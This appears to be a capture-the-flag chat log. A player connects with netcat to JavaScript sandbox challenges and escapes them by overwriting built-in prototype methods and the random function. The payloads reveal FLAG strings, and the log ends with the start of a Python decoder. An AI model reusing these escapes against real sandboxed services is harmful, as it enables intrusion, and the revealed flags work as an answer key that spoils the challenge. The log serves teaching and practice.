nnamon

$ nc 203.178.132.117 30349
var g = function () {
  var rand = Math.random,
      floor = Math.floor;

  var symbols = [0,0,0,0,0,0,0].map(function (i) {    
    return floor(rand() * 6);
  }).map(function (i) {
    return ['&', '%', '*', '@', '#', '$'][i];
  });

nnamon

rand> Object.keys(this)
["print", "quit", "version", "arguments", "g"]

nnamon

rand> g("getFlag()")
undefined:1: SyntaxError: Unexpected token ILLEGAL
getFlag@#
       ^
SyntaxError: Unexpected token ILLEGAL
    at f (/home/nodejs/problems/rand.js:24:22)
    at (d8):1:1

nnamon

rand> String.prototype.split = function(i) { return this.toString()}
function (i) { return this.toString()}
rand> String.prototype.join = function(i) { return this.toString()}
function (i) { return this.toString()}
rand> g("print(getFlag())")
try again
undefined
rand>

nnamon

rand> g("rand = function() {return 1}")
undefined
rand> g("print(getFlag())")
FLAG{7f94427ec6f49f70642d41c675b98832}
undefined
rand>

nnamon

$ nc 203.178.132.117 24089
var g = (function () {
  var FLAG = 'FLAG_IS_HIDDEN_HERE';

  function f (flg /* args[]... */) {
    this.args = arguments;
    if (flg) {
      return FLAG;
    } else {
      return Array.prototype.slice.call(this.args, 1).join(', ');

nnamon

  return f.bind(null, false);

nnamon

args> var gl
undefined
args> Array.prototype.slice.call = function(i,v) {gl=i;return[]}
function (i,v) {gl=i;return[]}
args> g("")
""
args> gl
[object Arguments]
args>

nnamon

args> gl
[object Arguments]
args> gl.callee(true)
"FLAG{3d2dba5b774814fa8fe87798898b7b30}"
args>

nnamon

import struct
import string 

if __name__ == "__main__":
    parts = []
    parts.append(0x00f0c3eac5dfc8c2)
    parts.append(0x00fec8e3e0fef0e5)
    parts.append(0x00f6d0f4f5f6e5c0)
    parts.append(0x00e9abeee6edfbf6)